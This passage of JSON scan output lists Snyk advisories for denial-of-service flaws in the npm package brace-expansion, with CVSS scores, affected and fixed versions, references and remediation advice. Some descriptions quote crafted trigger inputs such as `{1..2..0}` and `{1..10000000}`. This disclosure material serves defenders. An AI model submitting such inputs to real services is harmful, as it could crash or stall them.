"CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": 